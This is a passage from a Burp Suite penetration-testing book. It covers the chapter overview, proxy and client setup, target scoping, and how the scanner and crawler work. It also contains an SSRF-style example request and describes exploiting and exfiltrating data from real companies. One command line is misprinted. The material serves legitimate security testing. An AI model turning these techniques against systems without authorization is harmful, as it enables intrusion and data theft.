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Chapter 1, Configuring Burp Suite, takes us through preparing the system that will be used to attack the end application, before starting the actual application penetration test. This involves configuring Burp Suite to become the interception proxy for various clients and traffic sources.

Chapter 2, Configuring the Client and Setting Up Mobile Devices, will look at the three most popular user agents (Firefox, Chrome, and Internet Explorer) and configure them to work in tandem with the Burp Suite configuration, which we created, to be able to intercept HTTP and HTTPS traffic. We will also set the system proxy in the Windows, Linux, and macOS X operating systems for non-proxy aware clients. Before beginning an application penetration test, we must be aware of the scope and target that we intend to attack. To ensure that our attack traffic is sent to the right target, and to prevent unnecessary clutter and noise during the testing, we can configure Burp Suite to work with specific scopes.

Chapter 3, Executing an Application Penetration Test, uses an example web application to look at how a lot of security professionals jump to attacking the application without context, without understanding the application, and without scoping the target properly. We will look at the common areas that get overlooked due to this non-standard approach to penetration testing, and build the background for a staged approach to application penetration testing.

Chapter 4, Exploring the Stages of an Application Penetration Test, outlines the stages that are involved in the application penetration test and provides a wide overview of Burp Suite tools. Based on that knowledge, we are going to enumerate and gather information about our target.

Chapter 5, Preparing for an Application Penetration Test, details the key stages of an application penetration test performed to successfully meet the desired objectives of an engagement. Each of these stages produces data that can be used to progress to the next stage, until the desired set objective is met. The various stages of an application penetration test, namely reconnaissance, scanning, exploitation, and reporting, are covered in this chapter.

Chapter 6, Identifying Vulnerabilities Using Burp Suite, explains how various features of Burp Suite can be used to detect various vulnerabilities as part of an application penetration test. We will cover the detection of vulnerabilities, such as SQL injections, OS command injection, Cross-Site Scripting (XSS) vulnerabilities, XML-related issues, XML external entity processing, Server-Side Template Injection (SSTI), and Server-Side Request Forgery/Cross-Site Port Attacks (SSRF/XSPA). 

Chapter 7, Detecting Vulnerabilities Using Burp Suite, details how various features of Burp Suite can be used to detect additional vulnerabilities as part of an application penetration test. We will cover the detection of vulnerabilities, including Cross-Site Request Forgery (CSRF), insecure direct object references, issues arising out of security misconfiguration, weaknesses with deserialization, authentication issues surrounding OAuth (aside from generic authentication issues), issues regarding poor authorization implementations, and the detection of padding oracle attacks.

Chapter 8, Exploiting Vulnerabilities Using Burp Suite – Part 1, explains how, once detection is completed and the vulnerability is confirmed, it is time to exploit the vulnerability. The goal of the exploitation phase is to either gain access to data the application uses/protects, to gain access to the underlying operating system, to gain access to the accounts of other users, or any combination of these. In this chapter, we shall see how Burp Suite's various features can be used to exploit a detected vulnerability to fulfill the objective of the penetration test, or simply to generate a proof of concept to be used in the reporting phase.

Chapter 9, Exploiting Vulnerabilities Using Burp Suite – Part 2, covers the exploitation of even more vulnerabilities using Burp Suite once the initial detection is completed.

Chapter 10, Writing Burp Suite Extensions, shows you how Burp Suite's functionality can be extended using custom extensions that can be written in a variety of languages, and added to Burp Suite using its Extender module. Burp Suite extensions can be used to process and modify HTTP requests and responses, customize the placement of attack insertion points within scanned requests, implement custom session handling, and retrieve and analyze headers, parameters, cookies, and other objects.

Chapter 11, Breaking the Authentication for a Large Online Retailer, walks you through a real-world case study of how a large online retailer was compromised by breaking its authentication implementation. This chapter outlines the various steps that were taken to identify the target, discover weaknesses in the authentication mechanism using Burp Suite, and finally attack and break the authentication implementation to gain access to the administrative console of the application.

Chapter 12, Exploiting and Exfiltrating Data from a Large Shipping Corporation, is a real-world case of how a large shipping corporation was compromised and data exfiltrated. This chapter walks the reader through the various steps that were taken to identify the target, discover weaknesses in the search functionality using Burp Suite and finally attack and exploit the discovered Blind SQL injection to exfiltrate data.
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Burp Suite is a set of graphics tools focused on the penetration testing of web applications. Burp Suite is widely used for web penetration testing by many security professionals for performing different web-level security tasks.

The book will start with an introduction to web penetration testing and Burp Suite. Then, immediately afterward, we'll deep dive into the core concepts of web application security and how to implement services, including the spider module, intruder module, and more. We will also cover some advanced concepts, such as writing extensions and macros for Burp Suite.

This will act as a comprehensive guide toward performing end-to-end penetration testing with Burp Suite.



            

            
        
    




  

                            
                    Who this book is for

                
            
            
                
If you are interested in learning how to test web applications and the web part of mobile applications using Burp, then this is the book for you. It is specifically designed to meet your needs if you have basic experience of using Burp, and are now aiming to become a professional Burp user.
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To work through the samples and examples in this book, you'll require the following:


	Burp Suite Professional

	A PC
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There are a number of text conventions used throughout this book.

CodeInText: Indicates code words in text, database table names, folder names, filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles. Here is an example: "The secret variable is the data assigned by the user during his registration."

A block of code is set as follows:

GET /?url=http://localhost/server-status HTTP/1.1 
Host: example.com 

Any command-line input or output is written as follows:

$ mkdir css
$ cd css

Bold: Indicates a new term, an important word, or words that you see onscreen. For example, words in menus or dialog boxes appear in the text like this. Here is an example: "Click on New scan."

Warnings or important notes appear like this.

Tips and tricks appear like this.
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Feedback from our readers is always welcome.

General feedback: If you have questions about any aspect of this book, mention the book title in the subject of your message and email us at customercare@packtpub.com.

Errata: Although we have taken every care to ensure the accuracy of our content, mistakes do happen. If you have found a mistake in this book, we would be grateful if you would report this to us. Please visit www.packt.com/submit-errata, selecting your book, clicking on the Errata Submission Form link, and entering the details.

Piracy: If you come across any illegal copies of our works in any form on the Internet, we would be grateful if you would provide us with the location address or website name. Please contact us ...
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Please leave a review. Once you have read and used this book, why not leave a review on the site that you purchased it from? Potential readers can then see and use your unbiased opinion to make purchase decisions, we at Packt can understand what you think about our products, and our authors can see your feedback on their book. Thank you!

For more information about Packt, please visit packt.com.
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Before starting an application penetration test, the system that will be used to attack the end application must be prepared. This involves configuring Burp Suite to become the interception proxy for various clients and traffic sources.

As with scoping for targets, it is important to reduce noise in the data we collect. We will use target whitelisting techniques, and work with the Burp Target feature to filter and reduce the clutter that testing modern applications can introduce.

Burp, or Burp Suite, is a graphical tool for testing web applications for security flaws. The tool is written in Java and was created by Dafydd Stuttard under the name of PortSwigger. Burp Suite is now actively developed by his company PortSwigger ...
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Burp can be downloaded for all the major operating systems from the PortSwigger website at https://portswigger.net/burp. For Windows systems, both x64-bit and x32-bit installers are available. A standalone Java JAR file is also available in case you want to run Burp as a portable application.



When you start Burp Suite, you will be prompted to provide settings to set up your Burp project before you begin using the tool.

The three options available are as follows:


	Temporary project: Select this if you want to use Burp for a quick inspection or a task that you do not need to save. You can get started immediately when you select this option and hit Next.

	New project on disk: For a well-executed penetration test, it is very important to be able to record and retrieve logs of requests and responses that were part of the test. This option allows you to create a file on the disk that will store all the configuration data, requests, and responses, and proxy information that you set in Burp when you begin testing. A descriptive name can be provided to enable this file to be loaded in the future. A good rule of thumb is to create a name that provides information about the project itself. ClientName-TypeOfTest-DDMMYYYY is a good name to start with.

	Open existing project: This option allows you to load any existing project files that have been created in the past using the New project on disk option. You can choose to pause the spider and scanner modules so that the project is loaded in a non-active state of attack.



Clicking on Next will take you to a page where you can choose any save configuration from before or continue using Burp defaults. You also get the option of disabling extensions when Burp starts.



Click Start Burp to continue.
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To use Burp as a tool for application penetration testing, it must be set as a Man in the Middle (MITM) proxy. An MITM proxy sits in between a client and a server, and allows the user to tamper or drop messages passing through. In its simplest form, Burp Suite is an MITM proxy for HTTP(S) traffic.



By default, Burp will listen on port 8080 on the localhost IP of 127.0.0.1. This can easily be changed, however, to an arbitrary free port on any IP address available on the system. To do this, follow these steps:


	Navigate to the Proxy | Options tab.

	Under Proxy Listeners, confirm that the Running checkbox is ticked in ...
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Burp Suite can provide multiple proxy listener interfaces if there is a requirement to do so. This simply means that Burp can start listeners on different ports and different IP addresses simultaneously, each with its own configurations and settings.

For example, if a thick client application you are testing has multiple components, some of which can be configured to use a proxy, and some can't, or if its communication ports are hardcoded, or if traffic from a network-based browser or service needs to be captured, then multiple proxy listeners, each with their own configuration, can be created.



You can disable a proxy listener simply by unchecking the checkbox next to the Interface name, if required. Next, we will understand the working of the non-proxy-aware clients.
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A non-proxy-aware client, in this context, is a client that makes HTTP requests but has no easy way to configure proxy options, or has no proxy support at all.

Common examples of non-proxy-aware clients are thick client applications or browser plugins that do not use the browser's proxy options. Burp's support for invisible proxying allows non-proxy-aware clients to connect directly to a proxy listener. This allows Burp to intercept and modify traffic based on target mappings.

Architecturally, this works by setting up a local DNS entry for the remote target that the non-proxy-aware client communicates with. This DNS entry can be made in the local hosts file, as follows:

127.0.0.1 example.org

The client ...
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The target scope settings can be found under the Target | Scope tab. This allows you to configure in-scope targets for the penetration test that you are currently executing.

Adding items to target scope allows you to affect the behavior of features throughout Burp. For example, you can do the following:


	You can set display filters to show only the items in scope. This is available under Target | Site map and under Proxy | History, and is very useful when dealing with applications that use code from a lot of third parties.

	The Spider module is restricted to in-scope targets.

	You can configure the proxy to intercept the requests and responses for only in-scope items.

	In the Professional version of Burp, you can even automatically initiate vulnerability scans of in-scope items.



There are essentially two ways of adding scope items. The first, and the recommended way, is to obtain targets from proxy history. For this to happen, the following approach is taken:


	Set up your browser and Burp to talk to each other.

	Turn off interception mode in Burp and browse the application.



Start with the home page and browse to every link; log in to authenticated areas and log out; submit every form; navigate to every single path that is listed in the robots.txt, and to every single link in the application's sitemap (if available); and, if applicable, access the application as different users (either with the same or different privilege levels).

Doing this will populate the sitemap for the application as seen under the Target | Site map tab, as shown in the following screenshot:



Once targets and URLs are populated in the Site map tab, you can right-click on any item and add that item to scope. This can be done both via the Target | Site map, or via the Proxy | History tab.



The second method is to directly add items to the Target | Scope tab. Check the Use advanced scope control to enable the older interface for scope addition, which allows far more granular control over the scope entries.

Let's take an example and create our scope for an imaginary penetration test. Let's assume the application in scope is at http://mutillidae-testing.cxm/. Using the Target | Scope tab, we can add this and all future URLs from this application to the scope by setting the following:


	Protocol: HTTP

	Host or IP range: mutillidae-testing.cxm

	Port: ^80$

	File: ^*





This will add the application and any URLs on port 80 with the HTTP protocol to the scope.

You can also load a file containing a list of URLs that need to be in scope via the Load button on the Target | Scope page. This list must be URLs/targets separated by newlines. Large files may take time to load and Burp may appear frozen for a while, but will resume working when the file has been loaded and parsed.
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Just as we can add items to scope in Burp, we can also add items that need to be explicitly set out of scope. This, as is the case with in-scope items, can be added via two methods. The first is via the Proxy | History tab from the right-click context menu:



The second is from the Target scope tab in the Exclude from scope section. For example, if you want to exclude all sub-directories and files under /javascript, then the following options can be applied:


	Protocol: HTTP

	Host or IP range: mutillidae-testing.cxm

	Port: ^80$

	File: ^/javascript/.*




This will exclude all URLs under the /javascript/ directory on ...
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This section highlights five quick settings that can be enabled/set/configured before beginning a test to become productive immediately:


	Enable server response interception: By default, Burp is not configured to intercept server responses. This can, however, be enabled using the Intercept Server Responses options under Proxy | Options. Enable interception of responses when Request | Was modified and when Request | Was intercepted.






	Enable the Unhide hidden form fields and select the Prominently highlight unhidden fields option: This can be found under the Proxy | Options | Response Modification panel. This is very useful when browsing an application that stores or uses hidden HTML form fields to make application decisions.





The hidden field is visible on the page and highlighted very conspicuously, allowing you to edit the contents directly in the page if required.




	Enable the Don't send items to Proxy history or other Burp tools, if out of scope option: This option can be found under Proxy | Options | Miscellaneous. When enabled, this option prevents Burp from sending out-of-scope requests and responses to the Proxy | History and other Burp tools, such as Scanner and Target. These requests and responses are sent and received, but not logged in any of Burp's feature sets.






	Set a keyboard shortcut to issue a Repeater request: This is a very useful setting that can be enabled to avoid clicking the Go button using the mouse when working with the Repeater module of Burp. Burp already allows items to be sent to Repeater via the Proxy | History tab using Ctrl + R. Switching to the Repeater window can be achieved with Ctrl + Shift + R. Adding a shortcut to sending a request using Repeater completes the chain of keystrokes required to pick an item from Proxy | History, and sending it forward.






	Schedule a Save state operation: Burp has a task scheduler that can be invoked for certain tasks, such as resuming and pausing scans and spidering. You can reach the task scheduler from Project Options | Misc | Scheduled Tasks.

	One of the key operations that the task scheduler supports is the auto save state. Select Save state and click Next:






	

	Select a file that will contain the save state and, if required, select the In-scope items only checkbox, as shown in the following screenshot:










	

	Select when to start the task and the interval. During a busy engagement, saving every 30 minutes is a good interval to begin with:










	

	Click finish to activate the Scheduled Task, as shown in the following screenshot:











            

            
        
    




  

                            
                    Summary

                
            
            
                
In this chapter, we learned to prepare the Burp Suite application. We configured Burp Suite to make it the interception proxy for various clients and traffic sources. In the next chapter, we will learn how to configure the client and set up mobile devices.



            

            
        
    




  

                            
                    Configuring the Client and Setting Up Mobile Devices

                
            
            
                
Once we have Burp Suite up and configured to act as the proxy through which all our communication will go to the target, we need to set up the clients to talk to Burp, so that the communication path is complete.

Almost all clients that can talk to HTTP/HTTPS servers have a way of setting a proxy endpoint. This tells the client that it needs to send the traffic to the proxy endpoint first, which will then forward it to the target. Different clients have different ways of setting this proxy setting. Some clients use the operating system's proxy setting to enforce the path of the traffic.

In this chapter, we shall see how we can set the proxy option for various common clients, both on mobile and traditional computing devices.

We will cover the following topics in the chapter:


	Setting up Firefox, Chrome and Internet Explorer to work with Burp Suite (HTTP and HTTPS)

	Additional browser add-ons that can be used to manage proxy settings

	Setting system-wide proxy for non-proxy-aware clients

	Setting up Android and iOS to work with Burp Suite





            

            
        
    




  

                            
                    Setting up Firefox to work with Burp Suite (HTTP and HTTPS)

                
            
            
                
Firefox has been a hacker favorite for quite some time now. This is largely due to a plethora of add-ons that allow you to extend its features and abilities. One of the primary advantages that Firefox has over other browsers in the industry is its ability to use proxy settings that are not tied with the operating system.

Firefox can be set up to use a specific proxy, even if the operating system has a separate system proxy set. This allows for various tools that require a separate proxy to be used in conjunction with Firefox, while ensuring Firefox does take a separate route.

Remember, no browsers, including Firefox, have separate proxy settings for the private/incognito mode.






  

                            
                    Setting up Chrome to work with Burp Suite (HTTP and HTTPS)

                
            
            
                
Google Chrome uses the system proxy to route traffic unless a command-line argument is used to specify a proxy server. This can be both cumbersome to work with and advantageous, in that you can set the proxy in Chrome without even opening the Chrome UI.

To set up proxy options in Chrome, perform the following steps:


	Click on the three dots on the top right corner and select Settings:






	In the Settings window, type proxy to find the Open proxy settings option:






	This will open up the Windows Internet Properties dialog box.




	Click on LAN settings to open up the settings page:






	Enter the port number and IP address of the system where Burp Suite is running, as shown in the following screenshot:






	You can also click on Advanced to use specific addresses for different protocols. Remember this is a system-wide proxy setting.






	Click OK to apply the settings.





            

            
        
    




  

                            
                    Setting up Chrome proxy options on Linux 

                
            
            
                
On Linux, when you attempt to set Google Chrome's proxy options, you may encounter an error, as shown here:

When running Google Chrome under a supported desktop environment, the system proxy settings will be used. However, either your system is not supported or there was a problem launching your system configuration.But you can still configure via the command line. Please see man google-chrome-stable for more information on flags and environment variables.

In such cases, you can either specify the proxy server via a command-line argument, or by editing the .desktop file that was created when Chrome/Chromium was installed.

The command-line argument to start Google Chrome with a specific proxy is:





  

                            
                    Setting up Internet Explorer to work with Burp Suite (HTTP and HTTPS)

                
            
            
                
Internet Explorer and Microsoft Edge both use the Windows system proxy setting as their own preference.

Following these steps will help you set up proxy options in Internet Explorer:


	Click on the gear icon on the top right corner and select Internet options:






	The Internet options dialog will open up. Click on Connections | LAN settings to manage your proxy settings for Internet Explorer.



Remember this is a system-wide proxy setting and most programs on the system will also obey this, especially if they do not have a proxy setting of their own.



            

            
        
    




  

                            
                    Additional browser add-ons that can be used to manage proxy settings

                
            
            
                
During a web application penetration test, requirements may arise to switch in and out of your proxy settings. There will be times when you may want to have a direct connection to the internet, while the rest of the time you may want your traffic to go through Burp.

There are scenarios as well where you may want all your traffic to go through Burp, except  maybe google.com. In such cases, switching in and out of the browsers' proxy setting can easily become an unpleasant user experience.

For these reasons, there exist several add-ons/extensions for Firefox and Chrome that allow you to switch the browser's proxy setting to a different proxy at the click of an option.

Let's ...





  

                            
                    FoxyProxy for Firefox

                
            
            
                
The most popular add-on for Firefox when it comes to proxy management is this nifty little add-on called FoxyProxy, written by Eric H Jung:



FoxyProxy allows you to create multiple profiles that can be set to different proxy endpoints, and selected at will when there is a requirement.

Here's what FoxyProxy looks like with multiple profiles created in Firefox. This menu becomes available as an option in the Firefox window that can be activated with a click:



Let's take a simple example of setting up a proxy option:


	Install the Firefox extension using Firefox's about:addons page. The add-on name is FoxyProxy Standard:






	Once installation is completed, a tiny icon of a fox will become available in the top right corner next to the Settings button.

	Click the FoxyProxy icon and select Options.

	Click Add to open the page to add a new proxy.

	Add all the details that describe your Burp proxy endpoint. Select a color as well. This is the color that the fox icon will change to when the proxy is in use:






	The newly created proxy will come up in the list of available proxy profiles.

	Click on the fox icon to select your proxy. You can verify if this is working or not by looking at the traffic in Burp:






	To switch off the proxy and to use the Firefox default option (No proxy), select Turn Off FoxyProxy.



This add-on is extremely powerful when it comes to filtering domain names and even URLs. You can add patterns that will match or not, and cause only traffic destined to a specific domain to go through FoxyProxy, and eventually through Burp.



            

            
        
    




  

                            
                    Proxy SwitchySharp for Google Chrome

                
            
            
                
This is a fabulous add-on that eases the difficulty in switching proxies in Chrome while it is running, especially if the system proxy is not where you want to send your web traffic.



Here's what SwitchySharp looks like with multiple profiles created in Google Chrome. This menu becomes available as an option in the Google Chrome window that can be activated with a click:




	To get started with the add-on, install it through the Chrome web store at https://chrome.google.com/webstore/category/extensions:









  

                            
                    Setting system-wide proxy for non-proxy-aware clients

                
            
            
                
Non-proxy-aware clients in this context are applications that talk to the internet over HTTPS but do not have an option to set a proxy server so that traffic through them can be captured. These applications use the system proxy settings. This is common with thick client applications on Windows.

In such cases, we can set a system-wide proxy setting to work with our applications. System-wide proxy settings can be set via a command line and through the GUI. However, knowing the command-line options allows you to be able to script them, so that you can switch system-wide proxy settings using bash scripts or batch files, depending on the OS you are on.



            

            
        
    




  

                            
                    Linux or macOS X

                
            
            
                
To use a proxy on the Linux command line, the environment variables http_proxy, https_proxy, or ftp_proxy have to be set, depending on the traffic type.

To do this effectively, the following commands have to be run:

$ export http_proxy=http://127.0.0.1:8080$ export https_proxy="https:// 127.0.0.1:8080"$ export ftp_proxy="http:// 127.0.0.1:8080"

You can check the current proxy settings via the env command:

env | grep -i proxy



            

            
        
    




  

                            
                    Windows

                
            
            
                
Windows system-wide proxy settings can be applied via Internet options | Connections | LAN settings. This setting can also be applied using the netsh commands, as shown in the following steps:


	Start cmd as administrator

	Run netsh winhttp set proxy 127.0.0.1:8080

	To check if the settings have been applied, run the following command:



netsh winhttp show proxy


	To reset the proxy, run:



netsh winhttp show proxy



            

            
        
    




  

                            
                    Setting up Android to work with Burp Suite

                
            
            
                
To test Android applications, or to even test web applications via your Android device, you need to configure Burp Proxy to start a listener on interfaces and then connect the Android device and the system running Burp to the same wireless network.

This causes the Burp listener to become visible and accessible to the Android device on the same network.

Follow these steps to set a proxy for your Android device:


	Go to the SETTINGS menu.

	Connect to the same wireless network as Burp.




	If you are already connected, click on the wireless connection name and select Manage network settings, as shown in the following screenshot:





	Click on Show advanced options, to show the Proxy setting. Click on the  ...






  

                            
                    Why Burp Suite? Let's cover some groundwork!

                
            
            
                
Burp Suite is a proxy and it allows you to intercept and tamper each and every request that goes from the browser to the application server. This gives the tester a huge capability to pentest all the avenues of the application, as it shows all the available endpoints. It works as a middleware. The biggest advantage it gives you is the capability to bypass client-side validations. 

It is a smart tool that keeps track of your browsing history and also manages the site structure, giving you a better picture of what is available and what the newly discovered avenues are. The core advantage of Burp is that it allows you to forward HTTP requests to different Burp tools and carry out the required task. It could be repeating or automating an attack, decoding certain parameters, or comparing two or more different requests. Burp gives the user a capability to understand different formats by decoding the parameters at runtime for the user; for example, decoding ViewState parameters, beautifying JSON requests, and so on.



            

            
        
    




  

                            
                    Setting up iOS to work with Burp Suite

                
            
            
                
To set up an iOS device to work with Burp, we need to add Burp's network listener address (as we did with the Android device) to the iOS device's network configuration.

To achieve this, follow these steps:


	On the iOS device, open Settings.

	Assuming you are already connected to the wireless network, tap the Wi-Fi option, and tap the information icon next to the wireless access point name.

	Select Manual under the HTTP PROXY section, and enter the IP address and port number of the Burp listener.

	Go back and browse to an HTTP site on your iOS device's browser and see that the traffic is received by Burp.





To be able to access HTTPS sites you will need, to add Burp's CA certificate in the iOS device. To ...





  

                            
                    Summary

                
            
            
                
In this chapter, we learned how to set up Firefox, Chrome, and Internet Explorer to send and receive HTTP and HTTPS traffic through Burp Suite. We configured system-wide proxy setting for non-proxy-aware clients. We also learned about browser add-ons and extensions that make switching between proxies a breeze.

In the next chapter we will learn how to execute an application penetration test



            

            
        
    




  

                            
                    Executing an Application Penetration Test

                
            
            
                
Now that we have learned how to configure and set up our Burp Proxy across various platforms, we can now begin to start with an application pentest. In the present world, there are various purposes behind executing a pentest; it could either be for a bug bounty or it could be a fully-fledged assessment for a client. The initial approach is usually the same; ultimately, however, there is a huge difference. Bug bounty hunters aim to find one or a set of particular vulnerabilities that could lead to severe adversities if exploited, so they can claim their bounty.

On the other hand, for a fully-fledged pentest, the job of the pentester does not stop there. The pentester will have to perform a complete ...





  

                            
                    Differences between a bug bounty and a client-initiated pentest

                
            
            
                
Before we jump into the core details, let's first understand these two mindsets: 


	Bug bounty pentest mindset: 

	The aim is to find vulnerabilities that have an impact and fetch a good bounty

	A complete assessment of the application doesn't need to be done

	One bug is enough to qualify for a bounty

	All the vulnerabilities in the application are not reported, only the ones found

	There are no particular timelines; it can be done at the pentester's convenience





	Client-initiated pentest mindset:

	The aim is to ensure that all the application processes and functionalities are tested

	There is a limited timeline in which the whole application needs to be audited

	There is no bounty or rewards

	There is a need to ensure that all the vulnerabilities found by a scanner are validated and reported

	There is a need to also scope the entire application by understanding all the inter-dependencies and ensure that endpoints are well protected, since there will be times when the backend applications, such as support, will not be made available to bug bounty hunters, but will be in a client-initiated assessment





	Common points in both the mindsets:

	Must have the presence of mind to chain multiple vulnerabilities and cause a high impact on the underlying application

	Also, ensure that the attacker is aware of all the endpoints of that particular application

	Scoping of the entire application's presence and testing all the endpoints to find flaws











Take a moment to think about the differences between the two approaches. I'm sure you will agree that there needs to be two totally different mindsets while performing the pentest.



            

            
        
    




  

                            
                    Initiating a penetration test

                
            
            
                
An application penetration test is always said to be incomplete if it does not do the following:


	Following the standard methodology of performing recon

	Enumerating functionality

	Testing individual parameters

	Creating test cases

	Performing non-invasive exploitation

	Providing a report that talks about the issue

	Implementing steps to reproduce, proof of concept code, and possible mitigation



During my career, on numerous occasions, I have come across security consulting companies or independent professionals that are known to run an automated scanner that detects only a handful of vulnerabilities and almost always does not discover logical issues. These vulnerabilities are then exploited with a half-baked exploit ...





  

                            
                    Types and features

                
            
            
                
Burp Suite comes with the following set of inbuilt tools to ease the life of every penetration tester:


	Scanner: Helps in testing the website automatically for content and vulnerabilities. It has an active and a passive mode, which can be toggled and configured by the user.

	Intruder: This allows the user to make certain changes in a captured request and through certain modifications the user can automate the task with brute force by passing different parameter values at every request.

	Repeater: This feature allows the user to modify header values on the go and send requests to the application server over and over again.

	Collaborator client: This is a very interesting feature provided by Burp. It allows the user to check for out-of-band vulnerabilities. These are really hot vulnerabilities, as they are not easy to find.

	Clickbandit: This feature allows the user to create clickjacking pages against vulnerable applications.

	Sequencer: The sequencer feature enables the user to analyze the randomness of the application's cookie generation mechanism; it gives the user a very detailed analysis of the randomness or predictability of the session.

	Decoder: This allows the user to check for any type of encoding and allows the user to decode it to clear text and the other way around.

	Comparer: This feature allows the user to compare responses for two or more requests to find differences in them.



Let's look at the following low-level diagram of Burp Suite:



You can see the tool segregation in the following three sections: 


	Recon and Analysis

	Vulnerability Detection and Exploitation

	Tool Configuration



The preceding diagram gives you a pretty good idea of how the requests can be handled. Once the request is parsed, the tool carries out active spidering and active discovery, as well as allowing the user to do custom discovery in the recon and analysis phase. While this is ongoing, the tool actively puts all the information in the HTTP history and sitemap for later use. Once this information is gathered, a user can send any particular request to the repeater, intruder, or scanner. The scanner can be fed with the entire website post-crawl as well.

The tool configuration will allow the user to manage authentication, session handling, task scheduling, and various other tasks. The proxy is the core of the Burp Suite mechanism.  Burp Suite Scanner is an all-in-one automation kit for performing a pentest. It does everything, right from discovering content up to finding vulnerabilities. There are many more plugins that you can make use of to enhance the scanning results. We will talk about those plugins in later chapters. The Burp Scanner comprises mainly the two following parts: one is the crawl for content and the other is audit:


	Crawl for content: The Burp crawler navigates across the application almost like a real user; it submits inputs, forms, and also captures the links and creates a complete sitemap of the application. It shows what is found and what did not return a response.

	Audit: This is the actual scanner that will fuzz all the parameters to determine if there is a vulnerability in the application or not. It can be optimized by the user for better performance. 



Now that we are familiar with the types and features of Burp Suite, we will look into the crawling mechanism to catalog the contents of the application.



            

            
        
    




  

                            
                    Crawling

                
            
            
                
I want to emphasize here that Burp has an amazing crawling mechanism to map the site structure with the closest possible accuracy. Crawling may seem to be a simple task, but with modern dynamic applications it is not. As pentesters, we have always witnessed the scanners going in huge loops in the crawling phase due to the URL scheme implementations, and the scan never seems to finish, especially when you are testing a shopping cart. It is really frustrating when such things happen, because then you have to rely on completely manual strategies. Burp, on the other hand, has a very smart approach. The crawler of Burp mimics the way a user would browse the application on the browser. It simulates user clicks, navigation, and input submissions, ...





  

                            
                    Why Burp Suite Scanner?

                
            
            
                
Now that we have established the basic understanding of how robust the Burp crawler is, it's time to understand why Burp Scanner is the go-to scanner for any pentest. Most traditional scanners usually fuzz the input fields, check the response, and determine if there is a vulnerability or not. But what if the application has certain rules, like, what if the application has enforced dynamic CSRF for every request? What if the application is a very dynamic application that serves different content for the same URL/page based on states, or what if the application invalidates the user on a malformed request? Worry not, because Burp already treats this differently and understands the underlying logic, enabling us with an optimized scan.



            

            
        
    




  

                            
                    Auditor/Scanner

                
            
            
                
Let's go ahead and understand the Burp Audit/Scanner rules and mechanism. Burp Auditor is mainly divided into the three following core categories:


	Passive phase

	Active phase

	JavaScript analysis phase



This allows Burp to actively spot and exploit functions that are stored and returned to the user in response to input. It also helps to avoid duplication by handling frequently occurring issues and insertion points in an optimal manner. Also, it effectively makes use of the system resources by executing work in parallel. 

Burp Auditor reports tons of issues, widely ranging into the following categories:


	Passive: This is a non-intrusive audit that does analysis purely on the basis of the request and response received by a normal ...






  

                            
                    Understanding the insertion points

                
            
            
                
Burp Scanner is a very efficient scanner, as it targets various insertion points. It targets the input fields, a set of headers, such as cookie, referrer, user agent, and so on. Burp Scanner analyzes the targets individually by sending payloads individually to see how the application handles the payloads. A better understanding to see the insertion points is as follows:



Burp also handles data encoding for various parameters. It understands the parameter in use and any encoding if it follows. Once it detects the encoding, it fuzzes the parameter by fuzzing the payloads by encoding them as shown in the following screenshot. For example, to standard inputs, it passes a normal payload:



For a JSON parameter, it fuzzes with a different payload:



For XML it passes a different payload:



If the application is using a different encoding, such as base64, Burp automatically tries to detect the encoding being used and modifies the payload accordingly:



If the application is using nested encoding, Burp tries to detect this behavior and creates payloads accordingly to help testing for vulnerabilities:

 





Also as we discussed earlier, Burp manipulates the location of the parameters by trying to pass them in different locations as a POST, GET request, adding the values to the headers, and fuzzing them. This is done in an attempt to bypass the web application firewall and to try to send the parameter to the particular application function:



These are all the different styles and mechanisms that Burp follows to help perform scanning over the application. The core question here is, how does it scan and maintain a valid session if additional security is put in place? Well, we have good news; Burp Scanner crawls to every request from the root node and then tests the request depending on the context of the application.

Burp Suite satisfies the following conditions while traversing from node to node:


	Direct testing if there are no tokens, same tokens, or CSRF in cookies

	Traversal from the root node to the request path in case of single CSRF tokens and single-use tokens





The preceding diagram shows the heuristic crawl; if you need to reach a particular request to pentest, there are three other request pages from the root node, Burp will travel through all those pages and reach the target page, just like a simulation of a real-world user. How does this help? Well, this helps in testing tight applications that use a per request CSRF token. Burp is able to figure out the dependencies of the CSRF tokens and perform an efficient scan by traversing to the target request right from the root and taking the CSRF from the response and adding it to the next request, as shown in the following diagram:



You might also wonder how the session handling is managed if the application times out, or the session times out, or even if the session invalidates, right? Burp manages a timeline. It makes a timestamp and validates if the session is still valid. Once it validates, it sets a marker and proceeds with other tests, and then, when it comes to a timeout condition or an invalid session, it goes back to the previous marker and begins the test again, so as to give us an exact accurate pentest result covering all the parameters. The same reference can be understood from the following screenshot:



To sum it up, Scanner does the following things:


	It automatically manages the additional security settings and performs the fuzzing, such as handling the CSRF token types

	It manages encoding and edits the attack payloads accordingly

	It even performs nested fuzzing by double-encoding payloads

	It follows a snapshot-based approach to perform a scan

	It also ensures that parameters are fuzzed from POST to GET, or even pushes them in the headers in an attempt to execute payloads





            

            
        
    




  

                            
                    Summary

                
            
            
                
This covers the complete groundwork of the Burp Scanner and crawler, giving us a complete idea of how the tool works and performs a scan to give an accurate result in different scenarios of web applications. Now, in the next chapter, we will start with the stages necessary for an application penetration testing.



            

            
        
    




  

                            
                    Exploring the Stages of an Application Penetration Test

                
            
            
                
In this chapter, we are going to understand the stages that are involved in the application penetration test and get a wide overview of the Burp Suite tool. Based on that knowledge, we are going to enumerate and gather information about our target.

The following topics will be covered in this chapter:


	Stages of an application penetration test

	Getting to know Burp Suite better





            

            
        
    




  

                            
                    Stages of an application pentest

                
            
            
                
It is trivial to understand the stages of an application pentest as it lays the groundwork and ensures that the pentester covers all the possible endpoints and does an efficient scan. A web application pentest is broadly categorized in the following stages:


	Planning and reconnaissance

	Client end code analysis

	Manual testing 

	Automated testing

	Exploiting discovered issues 

	Digging deep for data exfiltration

	 Taking shells

	Reporting




Among these stages, the planning and reconnaissance stage is the most important stage, as there are possibilities that a tester might miss out critical entry endpoints into the application, and those areas might go untested. Let's explore in a little more detail what happens in ...





  

                            
                    Planning and reconnaissance

                
            
            
                
In the planning and reconnaissance phase, we define the scope of the penetration test. This initial phase requires a lot of planning, and you need to answer questions, such as:


	What is the scope of the pentest?

	What are the restricted URLs?

	What are the various subdomains in scope?

	Are there multiple applications hosted on the same domain in different folders?

	Are there any other platforms where this application is hosted (that is, mobile applications, web applications, desktop applications, and so on)



Once you have answered these questions, you will get some clarity on what is to be tested and what's not. Depending on whether it is a black box or a white box test, further enumeration takes places. In either of the cases, we will have to go ahead and discover all the files and folders of the application in scope and identify the endpoints. Later, in the next chapter, we will see how to discover new files and folders using Burp.



            

            
        
    




  

                            
                    Client-end code analysis

                
            
            
                
